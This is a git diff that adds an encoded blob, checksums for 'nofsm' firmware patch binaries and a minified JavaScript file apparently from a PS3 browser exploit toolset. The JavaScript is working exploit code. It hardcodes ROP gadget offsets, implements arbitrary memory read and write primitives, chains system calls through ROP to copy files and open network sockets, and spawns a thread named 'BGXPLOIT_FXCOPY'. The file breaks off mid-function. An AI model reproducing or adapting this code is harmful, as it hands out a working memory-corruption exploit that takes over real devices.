0YzBmZTQzOTg5ZjU4ZDg4NTYzYWIwMmI1YTZiMzkxNjQ0ZTY5OGVhYWExMTYyYzg5MTViNDQzMWRiZGE5ZGFmZjM2MWNkODJlMzc3YjgzNDk2OTNiYmQ4MGFiMjM5MTI0ZTFkZDgyYmEwOWU2NTcwNzMyZmMyMmUwYmQ1MGJiYWRmZTc0M2YxMDYzMzBmN2I4Nzg4Njc2ZWVlMjRjOTU0NDk2N2MzNjFjMDU3NjE0MTJmMWRiY2QxNjc0MzBhY2M5Yzk0NDMxYjcwMWRiNjExZDUxNWY0MmU3YmI4YTg4ZTc1OWJjNzEwMDNlNGUzYmU5MjY4ZGYwMWRmYTVjMjRlODVlOGVjYTk5OGViMGEzMzdjYmM0Mzk0YWY1N2JhMmYxMTJhYWYyYjE0Zjg5YjViYmNjOWZiODE5ODg5MGUxNDAxY2Q2YWI5MDM5YThhODFmMGE4YWUyYTMyMzZhYWQzYWFjMjIwM2RiNDVjMzFiOTViYThjYjE3NmY4YWMxZmZkZGE0Y2JjMDU3YWVlNjJiZGFjMWZmMWQxYzA4NzgzNmViZDI3MTUxZWNjMDIyYjgzOWFjN2ViYmQ3ODNjYWMzMDU4YzNkYTA0YWExYmRmMzRhYjBjMjVjOWQ5ZGJkNWEwYmRlNGU5NDM2ZmNmNTZjNWE5NmU3NzExMDgwNzFlMTYzMWY0MTljM2I4YjcwODA1NGUyOTAwY2UwNTNmZTUzMTZhYWYxNThiZDZkZTBmNzY5YjY1MjZkN2IxZjM1NzAzNGYwODIzYjljYjBmZDBjOGE0MDRjNTA2YzgxNTdhMWFlYzJjNGMzY2EwZmQwYzUxOWE4Y2E3OWM5OGUyZDM2N2IzYThmYzg5Y2M1MGQ2YWFmYzNjMzc3MDI1OWFlZDMwMDc1ZDQ4ZjA1ZjBjMWNiNDdiNzE5YjgxNzhmNDEwNGFlY2JhNDg4MzViNTNhMzdkZTMxMjE3ZTVhODUyMGYzZjA5YjA2NjU1MmU4NjliOWFkMWVlMjQ1Yzc4NmVhZTViMWMwMjc5YmM2M2UxOWMzMTA0MzVhOGU5YzBhYTkzNzE4MTRlMTU5NTk4YjczMjdmNDU5YWU3ZjM3MTY1NWI4ODZiODc0ZmY2NTJlNTdiMjcyNWIwZjQ5ODNkNDA2N2NhODBiODg3YjQxMzNmMGVjMjdkNWQ2NzkwNjhkZjc5NzllODA0MmMzZTBhNWJiYTQyN2IyOTMzNWZkMTk4ZGQ3YTMwY2E0NDBlYjkxMWQ0YmMzM2Q0ZjUwMzE5MjJjOTllNmNhNzNlMWJjOTZkMDBlMjI3NmExNmM0OTBmYTU4NDY0YTFlMTZhY2U2NjlkMDQyNzAwMTQxY2NjYjJhYTc3ZGY5MjE2MjE0NTkzNWJkOWE1ODNmNjU0MGI1MGI5NjZkYjRhMTM4Y2I5YTUwYjI1MjA0NzU5YWIwMjNiYTM4ZmM0MDY1YTk1ZTg2OWUxY2QyMzFhYjVmZTY3ODY5Yzg1OWEwZDE5YmRiMjNhMzE3OWVmNzI5YmQ1OWI3MDljOTBmNzRhNGY3YWFmYmMzZGEzOTBmZTg2YWM3YzE3MjQzMmM2ZDJiNTJiOGUxMjMxNDllZDhlMGQ0YjIxY2YwYzlkODI1NzMzYTFmN2JlZDg2OGRlZmIzNDI1OTM5OWFhMjQ1M2RiMTVhYWIyN2FiZmIzOWNhZjVjODk2YWZkOGUxNDc2OWUyMmFhYjJiZTYwMzllNTI2YzE2MmE4MGE0NjVjNDg1NGYxY2QwN2NhYzYzYjYxZjA2OTEzZjkwNGEwOGE5Zjg1NzljM2JjNzUyMTEwNjg5OWIyYTFiZTFkNDU0MjU0YWFhMjA2ZDNmMDZkNzkwMDU2OGRiMDZmZjZkNmZmOTBmMGY3MzhiNmVkZGYwNTIwMTJiY2IzYmUzZTRlMTAyMTIxMTdiMTNjOWVhZTE4NTI2YTYyOWRkMjdjMjI1MTVjNzZjODYwOTQxODdkZWEzODkzNGZiNjk2MDQzYTY4N2E5MWI2YWRjNmMyODRiNzIzZjA2ZjIzNWUzNmFjNjg5N2Y0N2I4ZTNiNjgxODQxYmU4ZTBmNDdmNWNlOWVmMDA2NjUyZTI4ODYxZjIzNjg1ODlmY2Q5M2IzYzNiNWYyMmE1ODAxZTdhMGFiMjEwZTdiOWJkYzM5MzdjMDUyOWFlYWZiODA2ZGY5MGY4ZWQ0YzM3ZmU1OTcwYzAwMWRlMTMxZjQ2OWZiMmQ5ZTMyYmE2YWNjYzk4ZGIxN2E1OTQzMjljODRjYTI5OTIyNjJmZDRhNGZkNTVjZmZjYTkyNjZkZGUwYmYzNTY3ZjBjNDBkMDdhOTBhY2RiNGYyZjc2MmQ5Mzk3ZGVkYjg2NWU1NTJhN2EwOTliZTk5ZDNhNDkxNjk3OGE5NGYyOWU5ZWI1NDY5ZmU3NGUzMDIxODRlYzU5NTUxNGQ0ZWNjYWJkMmU0YTQ4OTg2ODk1NWQzOTViMzdmZmFlYzFjNjgxZmM0OWRmZjcxNTllMWI4Zjg2ODVmNDMzOWVlZjM4YWZhODE5ZDEyZTFlZjAwMDRlOWI1OTgwODdiNGUxNzNhN2Q2YzIzOWZmOWE1NzAxMjQ3ZmNjZGVhOGU2NmJiMTY2M2FlMDNhNWM3M2Q5ZGVlZjMzMjgwNGM0NjU0ZTZlYmM5MjU0Y2Q5OWI3MTVhOTk1ZGQyZDlhMmM0ZGI0YWFlZWU5YmZlMzNhOTllOTJjYjcyMzkxNjg3NmE0ZmQ0ZWFmZDgyZmY0ZjViZWY4MDQ4NTNlYjZmMTBlZGUwZjk5Yzc1YTVmOWRiMGY3ZGY4ZTlhM2NkMGMwMGRjMTI3ZDhhZjBhZDFiYTQ4MGE5ZTJmNWYwYzU5Y2NmNDU1NjE2YTA3OTdjOGM1NWE1Nzg4OWRmOWJlMDdiNmMzNzM1Mjc4MDM0OWZjNzM2YWFjMTk2NmExNWNhZDZiMmVhNzhiNjQ3NGI2YzJjZGYzZTY2NWNiMjQyZDJlZWM5YWRlMjgwYTEwOTZhYjQ2NWZjMWY3ZGMyNTM0Mzc3MjllZDk4ODdjNDBjOGM3NDg3ZWNlOWQ4MDhiOGVmYzljNmY3YzI5MjljNWQ3ZjE1NjkxMjQ3ZDZiNzVmZjQ2ODJhZGY5YTY2Yzk3NmMzZmEwMzRiMmYzOGM5ZThhY2VkOGZjMDU3OWNlOWQ0ZjM0NmVmOGZhNTY3NjI4Njc5MWE1Njc2ZTQ4MTkwOWQ1ZWEyOWFjYmQzNjBhMWVhMWJkOGM1ZWNmNTIzNTYwMzdjNjg2OThjMmZlYmVmYzExMGI5MGI5MWJhMTUwMmFmZTU0NjQ0NDBkMDNlZTk1N2Q1YmFjNGE3OTJkZDFjODc4MTE2OGVlZTQyNDBhNzUyNzFmN2RkYTkxMzVkMWRiZjMyNGI4YThiNjMwN2Y2OWVmZDBiOWI5OTc5MDRjMzQ4ZjYxYTVlY2IyNjllM2M3MTlhZmRhYWM1MGI3MmViYjI2NDYzOGEzNjY5MWE1MzdiNGUyYzhmMDU3NmE2NGJhMGYxZDc3NTdkZWUxZmY5Njg5YTc1NzBhMjFiZDJmOWU1MDljYzE2ZjFmYWIxM2EyZjQ3YTJmYTg4NzhmYTVlNDI2NGJmMDI3NWQzOTFhNjBhYzg2NmEyMzU4MGJlOTBhOTkzNTc3N2I5Mzg3NWJkNzFmZTIyN2VhOTQ4NGMwYzE3M2U2ZTY5MjFhZGE3NmI5MzAxM2FkMTU0Njk2NjQzY2QzMjc2MDdiYjE1MTFjZGU4ZmI4Y2I1YmFhZmRhOTc4YmViYjIxYzRjZTMzZWMxNGZlMWZkN2YwOWZjMWM5NTA4NzFhMWQ4MmNmZmExMjI5ZjgyNWNhOGE0ZjhjMTM2ZWYyYmZmNDgyNzljNGE5MGU4Y2Y4MDM4ZGJiYWZlZDliYWJiNTk4NGJhMTM1ODQyNjlmMmQwMDQ2NzMyMTg1Y2Y5NWNlNjliOTdmYmNjNDEzNjNmNzFkMWI1ODI5ZTVmZmQ1N2YxZTUzZWZkNTM0N2VmYTllMTNhMGYxMGIzMDAwMWQzZjBmNDk5M2RkYmJmNzEzMTIwYzM1MmY1YjMxZTUwMDQ3YjFmYTk3Mjg1NGU4Y2MyNDA5MTZkNmQxY2E0ZDZkMGIwMDA0NjEyNDVhNDc2MjFhZjRjZTM2Nzg3NGExMzFmMmRmMTE3NWI4Y2I5YjIyYWVlOWJhNDMzZDgzNjVmMmY2MDQxMzhiZGE3ZDNjZGIxOGJjYmVkMGUzYzEyNDQ0MTAwMzE2N2Q1YTQyY2U1M2I4NjhhNWVhZjEzZGIzNGVkYmNlN2VkYzY5OGFiNWZhZTFiMjBlNThkMDI2MmJmYmY1Y2IwOWUyMTI1MDFiZWU2ZTEwOTEwMzYwNGNmNDJjYTU3NzlkMzEzMTBhYzMxMWRjMGNiZTE2ZDM0ZDgyOTQ1YTBjNDIwZjM3ZDFiYzI2YTkyYzQxYTI1MmRmYTNjOTA1NjQ3NmFiNzczOGFjZWUzY2JmYTkwNWM5ZGQ2MmY3MDNlNDgxN2JiOTg3OWE3ZDMwMTAyOGU4MWIzN2M1ZDUxMzAwZWExNTIzM2Q0NzJmNDIyNDZhMzgxZjhhYWE2OGI0NDlkNWJjODQ0NzhmNDkwNDE1MjI5MjkwYzM4Mzk4MTUzNGMwYzE3OGVlOWNmMTYyOGY2YzE0MmZmZjMzYTVlMTliNWMwZDZhNjdjYWFjNzE4MjA2NTZmZjYyN2UxN2VlNjNhNzNmMmI1Y2UwMmQwMjE5NDBjNTZkNDJmMmZjZTE1MGRlNzQ3ZjUwZGEyNWFkZjM4MGM2ZDVkM2QzYzlhMTEwYjFkNTBmZTM1YTMwNmMxOWFlMjFlNjkwNjY1ODczYThkOGFhMmYwMTE4YmRjZTBiZWE3YmQxYTU4MmI3NWQzN2ZlNzMxOTkwNzU5YTU1OWJjMzVkYzQwZjRhMDczOGZjMTUzOGMzY2JiY2U3MDM3YWJlNzgwMDllMzBjNGNiMDZhNjdhNzg1YWRkOGM5YjQ5NGRmNmMzN2E1NGI4Y2UxZmIwMmQyYjUyNWVkZjY5NWIyYTAwMTMyNWJlNzNhN2NjNWU3MGZlYzU4NTNiOThhNTFhMDMxMjAzZTBjMzY5Y2NkYTM3ZDhiYjhjNGZlYzQ4M2E4ZWFjYmY3ZTY0MjFjY2Q1NzI1ZWI5MWMyMTA3ZTAyYzJhNjUwYzIwNmI0MTM0NGEwM2MyMDg0ZWZhZDg5MGZjYjA0ZTY4MGI4MTZiMTY1YmIxNzc4MWQwYTlhMjY4MTg4OTMyZWZiNDJiZWEwYzE0OTVjMTkxZTJiMjZlYjI2YjYyOTA1ODI3MThhZDA5NTU1YzRjYmY4NzEyNmU0MGUzZTc2OGFkMzc4NWM3YWI3NmMwYzY1NDBiZjAyOTNlMTdjYTQzODM1OWZhZmY1NTA3ODVjZGM0M2M2ZTE5ZGY0NTNmNDkxZTlkODhlNWZlYzhmMjYyZWIxNWM2ZTQyY2YxM2ZjZGFiOWY4MmMyN2RhNzVhNmY3NjlmMDI2NzA5MTA4NTEyYjA0OGRkMmE1M2YxZWQwMGMyNmUxZWM0ZjU2M2FiMDc5ZGM4MTM1NDJjMmZkZDZhMDU5NzE2MzFhZjdlMDFhYjI3ZGE4NmU4NzJkYzA2NDExMjgyNjZjYzRlMzAxODU2ZGU5MWMzN2Q1M2M0YWNjYzcwZTFlNTEyZjJjMWEzZTNjYjYwNDE3ZTQ5NWMwZmEyMWE4ZWRhNTUwNGRjZmNmZTA0NDEwOGE2ZjMzNjc0ODA0ZDhkMWZiZTQxZDZjMGNkZWRjYTU2NjZiNjE0NTRjMzVkZDk4NzdkMjBhYmZhMDE2YTE2NDYwMDRkNGM2ZmY1YzcyZjM4Nzc1ODNhNzZlYmI2NjI3MGYzZWUwNjM2OThlYTk4YzA2MzAyMWM4MGE3NzM0YThiNjY0NzU0YmZmODg2OWZkYTgzNGE1NjA3ODIxODc1YmQxNWJlMzNhYzk4NjM3NzQ1ODcxZmMzM2NmMmIzNzI1ZGVjMzU4MDJiYTdlYzRhZTc5ZWIxOTVhMmFlZmQ5NmY5YzI3YzU2M2E5NjZkODA5NmQxOTQ3NTIzYTAxZGQ1Y2FmYjhlNjk2ZDBlYjI4M2UzZWUxNmRjZjcxM2YxOGVjZTQ2Y2M1M2ZmMjZhZDJmNDNkNzMwNWE2ZTg1OWI0MWRlNDE4NTU0OTZlOTI2MTVjNGRkMjliMWE4NzhhNTdmMGVkOWNmNDNlZjc4MmM4ZTQ0NWM0OWE1MjI5YWNkYWI3YzEyNmZlZTdmZmYwMWNhZjE4MTJlYWRhMWQ5ODk3YjE2N2MzODI4MTI1MWZjNzE2OTJiMTY3ODA0ZjZiNGY0OWZmODU3ZjY1ODUyMGVmYjI2MjZmYzJkZWVjZjZhN2UyYWY3ZTY2NmViNmQ1ZGY0Nzg3NGI3MTgxNDllMzY4MTkxZGZjOWMwNWRiOTQwYTljYjA0Y2ZiZTZhNmMxYTQ1MTE3MDY1N2M1NGNmYWU2ZTdiMzU4MGEwOTIxYzlmNWZhOWZlYjAyODgyMWMyYjhlNGJjY2Y4MzdhOTFjMTE1MTlmMWI0YTZkY2Y5NGFmYjFkYWM1MjA2NmEzZDE3NWRjZWM4MzllN2M4MDNkM2JkNjdmODljY2I1MDI3NjU4MjcxMzZkNTg2ZDU1NTJlNjdlZDk2NThkMmRkMDQ4N2I1OGQyM2I0OTE1N2RiMzZlMzM3ZWNjNDVjZGJhZjQ5NTk0YjUzZGQzMjYzZWUxZmUyYjdmYzdhMWM1NmI2ZTA3MmQyNzMyZmRhZTQwNTk5YzUyMTgyODNlNDVlODM2NDZlODkwNjY0MDVhMzI0ZDY5NGZlZDJkMDdkMzBmZDE2M2JlNjMwYzIyYjg4ZTQ2M2JmNGE0ZTY3MDBiNjUzZDJkM2ZmYzgxYmU3MzdhOWU5Y2Q1MTg0YmE0ZDc0MGRiMmU0NjE3ZTE3ZWQ1MmU1NWI2NTZjZmNmMWMyOWU0OTFiMWU0YTY4M2ZkZGQyNDNjMjFhZWU0YzZjNDJiMjc0YWIzMWQwMjBiNmZkZTU4OWFhYTY5ZTc4ZWMwNmJlOWE3NGU4YWI4Y2RhYTI3MjYzNDJhYmQ4MzdkY2Y0NWZmMGYwOTMxNjY1NTlhYzJkNTg1YzFiNGUyZTFmYzg1NWY5OTE5MGIxMmViYWNiMGZhMTBhNzU0ODhiNmY5ZWY0ZGU3OGFmNjVkYjEyNzkzYWNmY2RjMDIyMjIwYzQ2OTE2NzkwNGFkM2Q0Y2JhMjAyMTg1ZTMwZjQzMDc2YTQ4NDg0NDYwYjA5OWQ5OWNlYTEyOTc1NDdlOGIzMDE2NzNmMDI2NWQ0NWIzYmQyODk1OTgyMjc0ZjQ0Mjk1NDc4YjkyZGQzYWIyZDJmYjRhZjU0NTJkODdlOGE3ODJiOTFkNjZkOGY3YTg0MGFkZDE2YjIzYjM3Nzc4ZjQwYmQ2ZWU2ODEzZDM2ODQ0ZTY3MWI5ZjllZjM5Y2UwMDhjMTM2YWIxMGI2NWY2M2U4NGIxM2QxMzg1MWEwZGYwN2E3NzA0Y2Y4OGE0NjEwNDI0NzJmNzJjMmQ3NGMyOWMxNTUxMWE0MzZjM2UzZmZlMWRmNzA3Y2FmNWNlMDM0OTc2OTZlYzYyODY2ZGVlMDJkYTZhZmIzYzVmOGZlMjE0ZWJmOTg0ZmJiYjU1NTIxMDM1MjNlZDkwZTM5YTZhOGNkYzdjNTM0ZDFmNDg5MTljOTZhZjU3NjNmYzQ1ZTI5MzJlOTViN2EzNDA2YTIxNjA3MGNiZTUzOGIxNDNhYWQxZGZhNTIyYTM0N2Y4NTNhMWQxNjM2NDA4ZDhiZWZjNzAxZjhmNTExNGQwOGNhNDVlZTFmODI4MzdmNzVlNGM0MzUyMWNlZGVmZjRmYzMyZmE3ZmFkMjBlZDEwYmQwODIyZDA1ZmYyZGE3MWE1YjJhNDExM2M5YjZlOWRkOTMyZTcwY2RlNDU1ODAwODVjM2Q2YzNiZDZmMDIyMGRjYmE0NGEwNzg2YTM2NTQyMWUwODAxN2ZiYmE2YTI4NTE4NGYzMTU2NmYwZjRjYzJiMzI1NjE3MzRiMTkxZDQ2MTEwZWY1ZjdhN2VmNDM3YTE0ZjQzZjJmMjE5MzZmY2Q4N2ZjMzJkZGNjY2FhNjczODEyMDM0MzZmM2YwMGYzMGUwMDJhZjhkZDZiNTRmMDU4ZWNjMDBmYjFmOTI3NzI0YmMzMDQ3NWUyODhjMWZjNTBmYmJjNjIxNTgxOTY4NTE4ZTA4ODhhNTM3MDFhZA== \ No newline at end of file diff --git a/files/nofsm_patch_sha1.sum b/files/nofsm_patch_sha1.sum new file mode 100644 index 0000000..6ae1df6 --- /dev/null +++ b/files/nofsm_patch_sha1.sum @@ -0,0 +1,10 @@ +9a8a1901b4f68ec1149e3a09eecb600df6b8c5f5 nofsm_patch_480.bin +fbccae92dd7e1908aa8251986d43598d8ec9ebaf nofsm_patch_481.bin +1d50d03e4c446da2a547bf5e182900ff0d6ac1c7 nofsm_patch_482.bin +30333fb94c437200812058206e26d62030c13dfc nofsm_patch_483.bin +846499da8ea6b193a937a9ba5f1c9236d0e020d3 nofsm_patch_484.bin +cd245ab93753a31eff19b8f8a4b55f0ee08a85c2 nofsm_patch_485.bin +ab9224b4acf307ca4600684a066edb506f77dec3 nofsm_patch_486.bin +231488e8664b62ea10998f71e0a5ba677e1bdb8d nofsm_patch_487.bin +f0588f24db7e793256f8de08948ef23340b3bff3 nofsm_patch_488.bin +df9901c08e3aaa1ae97aa980e22e57aeee6a3da6 nofsm_patch_489.bin diff --git a/files/xframework.min.js b/files/xframework.min.js new file mode 100644 index 0000000..10f9087 --- /dev/null +++ b/files/xframework.min.js @@ -0,0 +1 @@ +var bgjsf_version="4.2",getElapsedTime=function(e){var t=(new Date-e)/1e3,r=Math.round(t%60).toString(),s=Math.floor(t/60).toString();return s>0?"Time elapsed: "+s+"mn "+r+"s":"Time elapsed: "+r+"s"};function getMaxAvailableBuffer(){var e=helper.swf.getMaxAvailableBufferAllocSize();return helper.buffer.create(e-e%65536)}function processJobList(e){var t=[],r=[];$.each(e,function(e,s){"file"===s.type?t.push(s):"folder"===s.type&&r.push(s)}),r.length>0&&makeDirectories(r),t.length>0&©Dispatcher(t)}function deleteFiles(e){for(var t=0;t4294967295?(r.error.code=2415919103,r.error.msg+="File Object in mode RO - supports file up to 4Gb max",t.errors.push(r),!0):void(s<=8192?t.no_thread.push(r):s<=helper.mbytes?t.one_thread.push(r):t.n_thread.push(r))}),setTimeout(function r(){t.errors.length+t.no_thread.length+t.one_thread.length+t.n_thread.length===e.length||setTimeout(r,500)},500)}function copyObject(e,t,r,s){this.error={code:0,msg:""};var o=new fileObject(e);if(0===o.size)return this.error.code=2415919103,void(this.error.msg+="File Object in mode RO - no data to copy");if(o.size>4294967295)return this.error.code=2415919103,void(this.error.msg+="File Object in mode RO - supports file up to 4Gb max");if(this.error.code=o.open(),0===this.error.code){var l=new fileObject(t);if(this.error.code=l.open(helper.fs_flag_create_append_rw),0===this.error.code){var n=Math.floor(o.size/r),i=o.size-n*r,a=helper.heap.store(helper.sem_attr_fifo),p=4+24*(n+1),c=helper.heap.store(p);stdc.memset(c,255,p);var d=c;c+=4;var u,h,g=[],f=[],_=[],m=[],x=[];helper.rop.run(syscall32(helper.sys_sem_create,d,a,0,1)),u=helper.memory.upeek32(d);var b=h=syscall32(helper.sys_sem_wait,u,0),y=syscall32(helper.sc_fs_read,o.fd,s,286331153,572662306)+store_r3_word(858993459),v=y.substr(0,520),C=y.substr(536,672),D=y.substr(1216),F=syscall32(helper.sc_fs_write,l.fd,s,286331153,572662306)+store_r3_word(858993459)+h,S=F.substr(0,520),k=F.substr(536,672),w=F.substr(1216);x[0]="Multithreaded File Copy Operations:
Thread BGXPLOIT_FXCOPY created
";for(var E=0;ECopy Object mt_read - Current File Offset: 0x"+(E*r).toString32()+"
Copy Object mt_write - Data Written: 0x"+r.toString32();if(i>0&&(g[n]=c,f[n]=c+4,_[n]=c+8,m[n]=c+16,c+=24,b+=v+_[n].toString32()+i.toString32()+C+g[n].toString32()+D+S+m[n].toString32()+i.toString32()+k+f[n].toString32()+w,x[n]+="
Copy Object mt_read - Current File Offset: 0x"+(n*r+i).toString32()+"
Copy Object mt_write - Data Copied: 0x"+i.toString32()+" bytes"),(b+=syscall32(helper.sc_fs_close,o.fd)+syscall32(helper.sc_fs_close,l.fd)+h).length/2%8!=0)return this.error.code=1717986918,void(this.error.msg+="Invalid SF size: 0x"+(b.length/2).toString(16)+" bytes");x[n]+="
Copy Object Operations complete";var B=createThreadwithOPD(b,0,"BGXPLOIT_FXCOPY",200,2048,prep_threading());0===B.tid&&(this.error.code=2004318071,this.error.msg+="Thread Creation Error"),this.thread_object={tid:B.tid,rret:g,wret:f,log:x,stack_offset:B.stack_offset,sem_id:u,rlen:_,wlen:m}}else this.error.msg+="File Object in mode RW cannot open"}else this.error.msg+="File Object in mode RO cannot open"}var string=function(e,t){var r=function(e){if(e)return e;throw Error("string object deleted")},s=!0===t||!1!==t,o=e||"";if(!1===s&&o.length%2>0)throw Error("string invalid argument");var l=s?e.length+1:e.length/2,n=helper.heap.store(e,s);this.offset=function(){return r(n)},this.length=function(){return s?r(l)-1:r(l)},this.peek=function(){return!0===s&&r(l)<2||!1===s&&r(l)<1?"":helper.memory.upeeks(r(n),s?l:l-1,s)},this.poke=function(e,t){if(null==e||!1===t&&e.length%2>0)throw Error("string poke null or invalid argument");o=e,((s=!0===t||!1!==t)?o.length+1:o.length/2)>l?(helper.heap.free([r(n)]),n=helper.heap.store(o,s)):helper.memory.upokes(r(n),o,s),l=o.length+1},this.gc=function(){helper.heap.free([r(n)]),n=null,o=null,l=null}},u32=function(e){var t=function(e){if(e)return e;throw Error("u32 object deleted")},r=e?4294967295&parseInt(e):0,s=helper.heap.store(4);helper.memory.upoke32(t(s),r),this.offset=function(){return t(s)},this.peek=function(){return helper.memory.upeek32(t(s))},this.poke=function(o){if(null==o||"number"!=typeof e||o>4294967295)throw Error("u32 poke null or invalid argument");return r=4294967295&parseInt(o),helper.memory.upoke32(t(s),r),0},this.gc=function(){helper.heap.store([t(s)]),s=null,r=null}},u64=function(e){var t=function(e){if(e)return e;throw Error("u64 object deleted")},r=e?bigInt.isUInt64(e)?e:parseInt(e)===e?UInt64(parseInt(e)):UInt64(e):UInt64(0),s=helper.heap.store(r.toString64());this.offset=function(){return t(s)},this.peek=function(){return UInt64(helper.memory.upeeks(t(s),8))},this.poke=function(e){if(null==e||!bigInt.isUInt64(e)&&"number"!=typeof e&&!("string"==typeof e&&e.length<=16))throw Error("u64 poke null or invalid argument");r=bigInt.isUInt64(e)?e:UInt64(e),helper.memory.upokes(t(s),r.toString64())},this.gc=function(){helper.heap.store([t(s)]),s=null,r=null}},regexTester=function(e){var t=e;this.filename_notchar=function(){return/^[^\\/:\*\#~!?" <>\|]+$/.test(t)},this.start_notdot=function(){return/^\./.test(t)},this.filename_notforbidden=function(){return/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i.test(t)}},validateFileName=function(e){var t=new regexTester(e);return e.length>255||!t.filename_notchar()||t.start_notdot()||t.filename_notforbidden()},UDPBroadcaster=function(e){if(helper.worker.udp||(helper.worker.udp=new workerThread("BGTOOLSET_WKR_UDP")),!helper.worker.udp||!helper.worker.udp.getTLS)return null;var t=e||{fd:-1,sock_addr:0,vsock_addr:helper.worker.udp.getTLS().offset,port:0},r=helper.worker.udp.getTLS().offset+256,s=!1,o=0;this.open=function(e){var r=0;t.port=e||t.port;var l=!1;function n(){if(t.fd=helper.rop.rrun(syscall32(helper.sys_net_socket,helper.AF_INET,helper.SOCK_DGRAM,0)),t.fd<0)return Logger.debug("UDPBroadcaster.open: socket creation call returned error 0x"+helper.memory.upeek32(sys_net.sys_net_errno_loc()).toString(16)),r=-1;var e=helper.heap.store();if(helper.memory.upoke32(e,1),r=helper.rop.rrun(syscall32(helper.sys_net_setsockopt,t.fd,65535,32,e,4)),helper.heap.free([e]),r<0)return Logger.debug("UDPBroadcaster.open: setsockopt call returned errno 0x"+helper.memory.upeek32(sys_net.sys_net_errno_loc()).toString(16)),r;l=!0}if(t.fd<0&&n(),t.sock_addr=helper.heap.store("1002"+parseInt(t.port).toString16()+helper.sFF32+helper.snull64),helper.memory.upokes(t.vsock_addr,"1002"+parseInt(t.port).toString16()+helper.sFF32+helper.snull64),t.sock_addr<2147483648)Logger.debug("UDPBroadcaster.open: failed to create sock_addr structure offset 0x"+t.sock_addr.toString(16)),this.close(),r=-1;else{Logger.debug("UDPBroadcaster.open: new socket created -> descriptor 0x"+t.fd.toString(16)),helper.cookies.set("udp_socket",t),s=!0;var a="\n>@bguerville's PS3 Toolset v"+helper.tversion+" - UDP Debug Broadcast: Hello ;-)\n>UDP Port: "+t.port+"\n>PS3 Socket ID: 0x"+t.fd.toString(16),p=helper.heap.store(a,!0);if(helper.rop.rrun(syscall32(helper.sys_net_sendto,t.fd,p,a.length,0,t.sock_addr,16))<0)n(),helper.rop.run(syscall32(helper.sys_net_sendto,t.fd,p,a.length,128,t.sock_addr,16));else if(!l){var c=helper.heap.store(8);(r=helper.rop.rrun(syscall32(helper.sys_net_getsockopt,t.fd,65535,32,c,c+4)))<0&&Logger.debug("UDPBroadcaster.open: getsockopt call returned errno 0x"+helper.memory.upeek32(sysnet.sys_net_errno_loc()).toString(16)),1!==helper.memory.upeek32(c)&&(n(),helper.rop.run(syscall32(helper.sys_net_sendto,t.fd,p,a.length,128,t.sock_addr,16))),helper.heap.free([c])}helper.heap.free([p])}return 0===r&&0===o&&(o=setInterval(i,2500)),r};var l="\n>PS3 Toolset v"+helper.tversion+" UDP Trace Broadcast: Good Bye";this.opened=function(){return s};var n="";function i(){n.length>0&&(clearInterval(o),o=0,a(n),n="")}this.send=function(e){t.fd<0?(n="",Logger.debug("UDPBroadcaster.send error: UDP connection not ready")):e.length>32768?Logger.debug("UDPBroadcaster.send overflowing error: resetting buffer"):n+="\n>"+e};var a=function(e){for(var s=Math.floor(e.length/1024),l=e.length-1024*s,n="",a=0;a0&&(n+=vsyscall32(helper.sys_net_sendto,t.fd,r+1024*s,l,128,t.vsock_addr,16)),helper.sm&&helper.worker.udp&&n.length>0&&helper.worker.udp.run(n,"BC Send Job",function(){helper.memory.upokes(helper.worker.udp.getTLS().offset+256,e,!0)},function(){Logger.debug("progress: UDP Job sent"),o=setInterval(i,2500)})};this.close=function(){if(t.fd>=0){o>0&&(clearInterval(o),o=0);var e=helper.heap.store(l,!0);Logger.debug("UDPBroadcaster.close: socket closing -> descriptor 0x"+t.fd.toString(16)+" sock_addr at 0x"+t.sock_addr.toString(16)),t.sock_addr>2147483648&&t.sock_addr<2415919104&&helper.rop.run(syscall32(helper.sys_net_sendto,t.fd,e,l.length,128,t.sock_addr,16)+syscall32(helper.sys_net_close,t.fd)),Logger.debug("UDPBroadcaster.close: socket closed -> descriptor 0x"+t.fd.toString(16)),helper.cookies.remove("udp_socket"),helper.heap.free([t.sock_addr,e]),s=!1,t.fd=-1,t.sock_addr=0,helper.bc=null}}};function fill(e,t){return hexh2bin(65535&t).repeat((e<2||e%2==1?e+1:e)/2)}function hexh2bin(e){var t=null==e?0:e;return t.toString16||Logger.error("hexw2bin: bad argument "+typeof t),t.toString16()}function hexw2bin(e){var t=null==e?0:e;return t.toString32||Logger.error("hexw2bin: bad argument "+typeof t),t.toString32()}function hexdw2bin(e){return u64_errchck("hexdw2bin",e=null==e?helper.gtemp_addr:e),e.toString64()}function vhexdw2bin(e){return helper.vtemp_addr=helper.vtemp_addr>0?helper.vtemp_addr:allocator.malloc(4096)+2048,u64_errchck("vhexdw2bin",e=null==e?helper.vtemp_addr:e),e.toString64()}function u64_errchck(e,t){!0===bigInt.isInstance(t)&&t.bitLength()>64&&helper.error(e+": integers > 64 bit are not supported by this function")}function Gadgets(){var e=helper.swf.getFP9TBase();this.fpdbase=helper.swf.getFP9DBase(),this.fptoc_addr=helper.swf.getFP9TOC(),this.ugadget1_addr=e+521156,this.ugadget2_addr=e+5384,this.ugadget3_addr=e+1774560,this.ugadget4_addr=e+1223552,this.ugadget5_addr=e+209416,this.ugadget6_addr=e+15656,this.ugadget7_addr=e+427072,this.ugadget8_addr=e+521160,this.ugadget9_addr=e+785312,this.ugadget10_addr=e+2545104,this.ugadget11_addr=e+5049600,this.ugadget12_addr=e+459124,this.ugadget13_addr=e+3434548,this.ugadget14_addr=e+4136204,this.ugadget15_addr=e+841316,this.ugadget16_addr=e+740276,this.ugadget17_addr=e+11604,this.ugadget18_addr=e+759384,this.ugadget19_addr=e+1761124,this.ugadget20_addr=e+2540892,this.ugadget21_addr=e+4125300,this.ugadget22_addr=e+915392,this.ugadget23_addr=e+5088440,this.ugadget24_addr=e+719456,this.ugadget25_addr=e+916128,this.ugadget26_addr=e+1190248,this.ugadget27_addr=e+2924,this.ugadget28_addr=e+57036}var buffer=function(){this.create=function(e){var t=helper.swf.getMaxAvailableBufferAllocSize();return e>t&&helper.error("create: Total buffer data storage is 64Mb max"),e=e&&e<=t?e:t,{offset:helper.swf.allocBuffer(e),size:e}},this.free=function(e){$.each(Array.isArray(e)?e:[e],function(e,t){t>2147483648&&helper.swf.freeBuffer(t)})},this.reset=function(){helper.swf.clearBuffer()}},sysmem=function(){helper.wt_pool=[];var e=[],t=null,r=19922944,s=null;function o(){var e=helper.heap.store(8),o=(helper.rop.rrun(syscall32(helper.sys_memory_container_get_size,e,helper.browser_container)),helper.memory.upeek32(e+4));function l(e){var 